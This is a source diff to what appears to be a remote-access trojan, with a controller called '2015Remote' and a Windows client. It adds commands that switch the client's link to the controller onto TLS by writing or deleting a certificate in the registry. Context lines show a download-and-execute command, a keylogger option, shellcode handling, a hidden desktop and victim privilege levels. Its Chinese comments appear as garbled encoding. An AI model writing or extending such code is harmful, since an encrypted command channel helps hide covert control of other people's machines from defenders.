diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 23eb759..9857837 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -839,6 +839,27 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } + case COMMAND_TLS_ENABLE: { + // æœ�务端下å�‘信任锚è¯�书:payload = PEM 正文(szBuffer+1 .. ulLength-1)。 + // 写入注册表 settings\tls_cert,客户端下次å�¯åŠ¨è¯»åˆ°è¯�书å�³å�¯ç”¨ TLS(é�žå®žæ—¶ï¼‰ã€‚ + if (ulLength > 1) { + std::string certPem((char*)szBuffer + 1, ulLength - 1); + m_cfg->SetStr("settings", "tls_cert", certPem); + } + break; + } + case COMMAND_TLS_DISABLE: { + // 删除注册表信任锚,客户端下次å�¯åŠ¨æ— è¯�书å�³å›žæ˜Žæ–‡ï¼ˆé�žå®žæ—¶ï¼‰ã€‚ + std::string subKey = GetRegistryName() + "\\settings"; + HKEY hKey = NULL; + if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0, + KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) { + RegDeleteValueA(hKey, "tls_cert"); + RegCloseKey(hKey); + } + break; + } + case COMMAND_DOWN_EXEC: { std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach(); break; diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 687d838..1d09014 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -444,6 +444,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0; sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K"); LoginInfor.AddReserved(fileSize); // 文件大å°� + LoginInfor.AddReserved(TlsEnabled() ? 1 : 0); // TLS å�¯ç”¨æ ‡å¿—:有信任锚(è¯�书)å�³ 1 return LoginInfor; } diff --git a/common/commands.h b/common/commands.h index 8ccce70..f772776 100644 --- a/common/commands.h +++ b/common/commands.h @@ -325,6 +325,8 @@ enum { COMMAND_FILE_MANAGER_PLUGIN = 163, // æœ�务端 → 客户端:打开æ�’件文件管ç�†å¯¹è¯�框(SimplePlugins è¿�移) COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // æœ�务端 → 客户端:打开éš�ç§�å±�幕(虚拟桌é�¢ï¼ŒSimplePlugins è¿�移) COMMAND_DRAWING_BOARD_PLUGIN = 165, // æœ�务端 → 客户端:打开远程画æ�¿ï¼ˆSimplePlugins è¿�移) + COMMAND_TLS_ENABLE = 166, // æœ�务端 → 客户端:å�¯ç”¨ TLS 传输(写注册表,下次å�¯åŠ¨ç”Ÿæ•ˆï¼‰ + COMMAND_TLS_DISABLE = 167, // æœ�务端 → 客户端:å�œç”¨ TLS 传输(写注册表,下次å�¯åŠ¨ç”Ÿæ•ˆï¼‰ TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 @@ -1061,6 +1063,7 @@ enum LOGIN_RES { RES_CLIENT_ID = 16, // 客户端唯一ID RES_PID = 17, // 进程ID RES_FILESIZE = 18, // 文件大å°� + RES_TLS = 19, // TLS 传输å�¯ç”¨æ ‡å¿— 0/1 RES_MAX, }; diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 329cb53..6d7c40d 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index fc264a8..5da7d5c 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -51,6 +51,7 @@ #include "McpServer.h" #include "McpSettingsDlg.h" #include "TlsCertificateDlg.h" +#include "ServerTlsSession.h" #include "common/md5.h" #include #include @@ -148,23 +149,24 @@ const int g_Column_Count_Online = ONLINELIST_MAX + 1; // 1 缩略图 + 既有 COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = { {"预览", 60 }, - {"IP", 130 }, - {"端å�£", 60 }, + {"IP", 120 }, + {"端å�£", 55 }, {"地ç�†ä½�ç½®", 140 }, {"计算机å��/备注", 140 }, - {"æ“�作系统", 120 }, - {"CPU", 80 }, - {"æ‘„åƒ�头", 60 }, - {"RTT", 60 }, + {"æ“�作系统", 135 }, + {"CPU", 75}, + {"æ‘„åƒ�头", 55 }, + {"RTT", 55 }, {"版本", 90 }, {"安装时间", 130 }, - {"活动窗å�£", 130 }, + {"活动窗å�£", 145 }, {"类型", 50 }, {"", 0 }, {"", 0 }, {"", 0 }, {"", 0 }, {"æ�ƒé™�", 60 }, + {"TLS", 50 }, }; // 缩略图列å�·å¸¸é‡� + 列å�·â†’æ•°æ�®æ§½æ˜ å°„。负返回值代表"该列无数æ�®æ§½"。 @@ -738,6 +740,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER); // 文件管ç�† m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD); // éš�ç§�å±�幕 m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD); // 远程画æ�¿ + m_bmOnline[69].LoadBitmap(IDB_BITMAP_TLS_ENABLE); // TLS 传输 + m_bmOnline[70].LoadBitmap(IDB_BITMAP_TLS_DISABLE); // å�–消 TLS for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; m_ServerBin[i] = nullptr; @@ -1067,6 +1071,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager) ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen) ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard) + ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable) + ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable) ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) @@ -1674,10 +1680,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName const std::string& privUser = v[RES_USERNAME]; const std::string& privAdmin = v[RES_ISADMIN]; CString privilegeStr = privUser == "SYSTEM" ? "SYSTEM" : privAdmin == "1" ? "Admin" : "User"; + CString tlsStr = v[RES_TLS].empty() ? "N" : v[RES_TLS] == "1" ? "Y" : "N"; CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing, verDisplay, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path, - v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr, + v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr, tlsStr, }; // 优先采用客户端自报的 ID(新客户端用 V2 算法 = MachineGuid + 归一化路径, // 比æœ�务端按è€�算法 IP+PC+OS+CPU+PATH é‡�算更稳定)。 @@ -4546,6 +4553,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER, MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]); Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]); Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD, MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]); + Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_ENABLE, MF_BYCOMMAND, &m_bmOnline[69], &m_bmOnline[69]); + Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_DISABLE, MF_BYCOMMAND, &m_bmOnline[70], &m_bmOnline[70]); Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("å�‘é€�授æ�ƒ")); @@ -4718,6 +4727,53 @@ void CMy2015RemoteDlg::OnExperimentDrawingBoard() SendSelectedCommand(&bToken, sizeof(BYTE)); } +void CMy2015RemoteDlg::OnExperimentTlsEnable() +{ + // å‰�置校验:æœ�务端未å�¯ç”¨ TLS è¯�书时,无信任锚å�¯ä¸‹å�‘,仅æ��示ã€�ä¸�下å�‘指令。 + if (!ServerTlsIdentity::IsReady()) { + MessageBoxL(_T("æœ�务端未å�¯ç”¨ TLS è¯�书,无法切æ�¢å®¢æˆ·ç«¯ TLS 传输"), + _T("æ��示"), MB_ICONWARNING); + return; + } + // 二次确认:é�¿å…�误点就切æ�¢è¢«æŽ§ç«¯ TLS;客户端写注册表,下次å�¯åŠ¨ç”Ÿæ•ˆ + if (IDYES != MessageBoxL(_T("确定对选中主机å�¯ç”¨ TLS 传输å�—?(客户端下次å�¯åŠ¨ç”Ÿæ•ˆï¼‰"), + _T("æ��示"), MB_ICONQUESTION | MB_YESNO)) return; + + // 读å�–æœ�务端è¯�书(信任锚),éš�å�¯ç”¨æŒ‡ä»¤ä¸€å¹¶ä¸‹å�‘;客户端写入注册表 settings\tls_cert。 + std::ifstream certFile(THIS_CFG.GetStr("tls", "CertPath", ""), std::ios::binary); + if (!certFile.is_open()) { + MessageBoxL(_T("读å�–æœ�务端 TLS è¯�书失败,无法下å�‘"), _T("æ��示"), MB_ICONWARNING); + return; + } + std::ostringstream ss; + ss << certFile.rdbuf(); + std::string certPem = ss.str(); + if (certPem.empty()) { + MessageBoxL(_T("读å�–æœ�务端 TLS è¯�书失败,无法下å�‘"), _T("æ��示"), MB_ICONWARNING); + return; + } + + // 报文:命令字节 + PEM 正文 + std::vector pkt; + pkt.reserve(1 + certPem.size()); + pkt.push_back((BYTE)COMMAND_TLS_ENABLE); + pkt.insert(pkt.end(), certPem.begin(), certPem.end()); + SendSelectedCommand(pkt.data(), (ULONG)pkt.size()); +} + +void CMy2015RemoteDlg::OnExperimentTlsDisable() +{ + if (!ServerTlsIdentity::IsReady()) { + MessageBoxL(_T("æœ�务端未å�¯ç”¨ TLS è¯�书,无法切æ�¢å®¢æˆ·ç«¯ TLS 传输"), + _T("æ��示"), MB_ICONWARNING); + return; + } + if (IDYES != MessageBoxL(_T("确定å�–消选中主机的 TLS 传输å�—?(客户端下次å�¯åŠ¨ç”Ÿæ•ˆï¼‰"), + _T("æ��示"), MB_ICONQUESTION | MB_YESNO)) return; + BYTE bToken = COMMAND_TLS_DISABLE; //å�‘被控端å�‘é€�å�œç”¨ TLS 传输命令 + SendSelectedCommand(&bToken, sizeof(BYTE)); +} + // 从资æº�中读å�–被控端文件,并根æ�®ç”¨æˆ·é€‰æ‹©ä¿®æ”¹è¿žæŽ¥ä¿¡æ�¯å�Žè¿”回给å�‘é€�线程 BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup, diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 528de9b..2972cb6 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -441,7 +441,7 @@ public: bool IsDllRequestLimited(const std::string& ip); void RecordDllRequest(const std::string& ip); CMenu m_MainMenu; - CBitmap m_bmOnline[69]; + CBitmap m_bmOnline[71]; uint64_t m_superID; std::map m_RemoteWnds; FileTransformCmd m_CmdList; @@ -531,6 +531,8 @@ public: afx_msg void OnExperimentFileManager(); afx_msg void OnExperimentPrivateScreen(); afx_msg void OnExperimentDrawingBoard(); + afx_msg void OnExperimentTlsEnable(); + afx_msg void OnExperimentTlsDisable(); afx_msg void OnOnlineDelete(); afx_msg void OnOnlineUpdate(); afx_msg void OnAbout(); diff --git a/server/2015Remote/context.h b/server/2015Remote/context.h index a3d9056..d3979b3 100644 --- a/server/2015Remote/context.h +++ b/server/2015Remote/context.h @@ -22,6 +22,7 @@ enum { ONLINELIST_STARTTIME, ONLINELIST_CAPABILITIES, // 客户端能力ä½� ONLINELIST_PRIVILEGE, // æ�ƒé™�级别 (SYSTEM/Admin/User) + ONLINELIST_TLS, // TLS 传输å�¯ç”¨æ ‡å¿— (0/1) ONLINELIST_MAX, }; diff --git a/server/2015Remote/lang/de_DE.ini b/server/2015Remote/lang/de_DE.ini index 1a21fe8..b036bf5 100644 --- a/server/2015Remote/lang/de_DE.ini +++ b/server/2015Remote/lang/de_DE.ini @@ -2081,3 +2081,9 @@ TLSÖ¤ TLS ÅäÖÃÒѱ£´æ¡£=TLS-Einstellungen gespeichert. ¸Ä¶¯¶Ôн¨Á¬½Ó¼´Ê±ÉúЧ¡£=Aenderungen gelten sofort fuer neue Verbindungen. Ö¤Êé/˽Կ¼ÓÔØÊ§°Ü£¬¼ÓÃܹ¦ÄÜδÉúЧ¡£Çë¼ì²éÎļþ·¾¶Óë¸ñʽ£¨Ö¤Êé PEM¡¢Ë½Ô¿ PKCS#8£©¡£=Zertifikat/privater Schluessel konnte nicht geladen werden; Verschluesselung ist inaktiv. Bitte Pfad und Format pruefen (PEM-Zertifikat, PKCS#8-Schluessel). +TLS´«Êä=TLS-Transport +È¡ÏûTLS=TLS deaktivieren +È·¶¨¶ÔÑ¡ÖÐÖ÷»úÆôÓà TLS ´«ÊäÂ𣿣¨¿Í»§¶ËÏÂ´ÎÆô¶¯ÉúЧ£©=TLS-Transport fuer die ausgewaehlten Hosts aktivieren? (wirkt nach Client-Neustart) +È·¶¨È¡ÏûÑ¡ÖÐÖ÷»úµÄ TLS ´«ÊäÂ𣿣¨¿Í»§¶ËÏÂ´ÎÆô¶¯ÉúЧ£©=TLS-Transport fuer die ausgewaehlten Hosts deaktivieren? (wirkt nach Client-Neustart) +·þÎñ¶ËδÆôÓà TLS Ö¤Ê飬ÎÞ·¨Çл»¿Í»§¶Ë TLS ´«Êä=Server-TLS-Zertifikat ist nicht aktiviert; TLS-Transport der Clients kann nicht umgeschaltet werden +¶ÁÈ¡·þÎñ¶Ë TLS Ö¤Êéʧ°Ü£¬ÎÞ·¨Ï·¢=Server-TLS-Zertifikat konnte nicht gelesen werden; Verteilung nicht moeglich diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 036c5c0..c4f6f96 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -2096,3 +2096,9 @@ TLSÖ¤ TLS ÅäÖÃÒѱ£´æ¡£=TLS settings saved. ¸Ä¶¯¶Ôн¨Á¬½Ó¼´Ê±ÉúЧ¡£=Changes take effect immediately for new connections. Ö¤Êé/˽Կ¼ÓÔØÊ§°Ü£¬¼ÓÃܹ¦ÄÜδÉúЧ¡£Çë¼ì²éÎļþ·¾¶Óë¸ñʽ£¨Ö¤Êé PEM¡¢Ë½Ô¿ PKCS#8£©¡£=Failed to load certificate/private key; encryption is not active. Check the file path and format (PEM certificate, PKCS#8 private key). +TLS´«Êä=TLS Transport +È¡ÏûTLS=Disable TLS +È·¶¨¶ÔÑ¡ÖÐÖ÷»úÆôÓà TLS ´«ÊäÂ𣿣¨¿Í»§¶ËÏÂ´ÎÆô¶¯ÉúЧ£©=Enable TLS transport for the selected host? (takes effect after the client restarts) +È·¶¨È¡ÏûÑ¡ÖÐÖ÷»úµÄ TLS ´«ÊäÂ𣿣¨¿Í»§¶ËÏÂ´ÎÆô¶¯ÉúЧ£©=Disable TLS transport for the selected host? (takes effect after the client restarts) +·þÎñ¶ËδÆôÓà TLS Ö¤Ê飬ÎÞ·¨Çл»¿Í»§¶Ë TLS ´«Êä=Server TLS certificate is not enabled; cannot toggle client TLS transport +¶ÁÈ¡·þÎñ¶Ë TLS Ö¤Êéʧ°Ü£¬ÎÞ·¨Ï·¢=Failed to read the server TLS certificate; cannot distribute diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index 4b91698..b1f9f71 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -2087,3 +2087,9 @@ TLSÖ¤ TLS ÅäÖÃÒѱ£´æ¡£=TLS ÔO¶¨Òу¦´æ¡£ ¸Ä¶¯¶Ôн¨Á¬½Ó¼´Ê±ÉúЧ¡£=׃¸üŒ¦ÐÂßB¾€¼´•rÉúЧ¡£ Ö¤Êé/˽Կ¼ÓÔØÊ§°Ü£¬¼ÓÃܹ¦ÄÜδÉúЧ¡£Çë¼ì²éÎļþ·¾¶Óë¸ñʽ£¨Ö¤Êé PEM¡¢Ë½Ô¿ PKCS#8£©¡£=‘{×C/˽è€ÝdÈëʧ”¡£¬¼ÓÃܹ¦ÄÜδÉúЧ¡£Õˆ™z²é™n°¸Â·�½Åc¸ñʽ£¨‘{×C PEM¡¢Ë½è€ PKCS#8£©¡£ +TLS´«Êä=TLS ‚÷Ý” +È¡ÏûTLS=Í£Óà TLS +È·¶¨¶ÔÑ¡ÖÐÖ÷»úÆôÓà TLS ´«ÊäÂ𣿣¨¿Í»§¶ËÏÂ´ÎÆô¶¯ÉúЧ£©=´_¶¨Œ¦ßxÈ¡Ö÷™C†¢Óà TLS ‚÷Ý”†á£¿£¨ÓÑô¶ËÏ´Ά¢„ÓÉúЧ£© +È·¶¨È¡ÏûÑ¡ÖÐÖ÷»úµÄ TLS ´«ÊäÂ𣿣¨¿Í»§¶ËÏÂ´ÎÆô¶¯ÉúЧ£©=´_¶¨È¡ÏûßxÈ¡Ö÷™CµÄ TLS ‚÷Ý”†á£¿£¨ÓÑô¶ËÏ´Ά¢„ÓÉúЧ£© +·þÎñ¶ËδÆôÓà TLS Ö¤Ê飬ÎÞ·¨Çл»¿Í»§¶Ë TLS ´«Êä=ËÅ·þÆ÷δ†¢Óà TLS ‘{×C£¬Ÿo·¨ÇГQÓÑô¶Ë TLS ‚÷Ý” +¶ÁÈ¡·þÎñ¶Ë TLS Ö¤Êéʧ°Ü£¬ÎÞ·¨Ï·¢=×xÈ¡ËÅ·þÆ÷ TLS ‘{×Cʧ”¡£¬Ÿo·¨Ï°l diff --git a/server/2015Remote/res/Bitmap/TlsDisable.bmp b/server/2015Remote/res/Bitmap/TlsDisable.bmp new file mode 100644 index 0000000..89cdbd1 Binary files /dev/null and b/server/2015Remote/res/Bitmap/TlsDisable.bmp differ diff --git a/server/2015Remote/res/Bitmap/TlsEnable.bmp b/server/2015Remote/res/Bitmap/TlsEnable.bmp new file mode 100644 index 0000000..ee8a42a Binary files /dev/null and b/server/2015Remote/res/Bitmap/TlsEnable.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index fef77a8..4485874 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -287,6 +287,8 @@ #define IDB_BITMAP_FILE_MANAGER 407 #define IDB_BITMAP_PRIVACY_SHIELD 408 #define IDB_BITMAP_DRAWING_BOARD 409 +#define IDB_BITMAP_TLS_ENABLE 410 +#define IDB_BITMAP_TLS_DISABLE 411 #define IDC_MESSAGE 1000 #define IDC_ONLINE 1001 #define IDC_STATIC_TIPS 1002 @@ -1019,6 +1021,8 @@ #define ID_EXPERIMENT_FILE_MANAGER 33090 #define ID_EXPERIMENT_PRIVATE_SCREEN 33091 #define ID_EXPERIMENT_DRAWING_BOARD 33092 +#define ID_EXPERIMENT_TLS_ENABLE 33094 +#define ID_EXPERIMENT_TLS_DISABLE 33095 #define ID_33046 33046 #define ID_PROXY_PORT_AUTORUN 33047 #define ID_TRIGGER_SETTINGS 33048 @@ -1115,8 +1119,8 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 410 -#define _APS_NEXT_COMMAND_VALUE 33094 +#define _APS_NEXT_RESOURCE_VALUE 412 +#define _APS_NEXT_COMMAND_VALUE 33096 #define _APS_NEXT_CONTROL_VALUE 2620 #define _APS_NEXT_SYMED_VALUE 105 #endif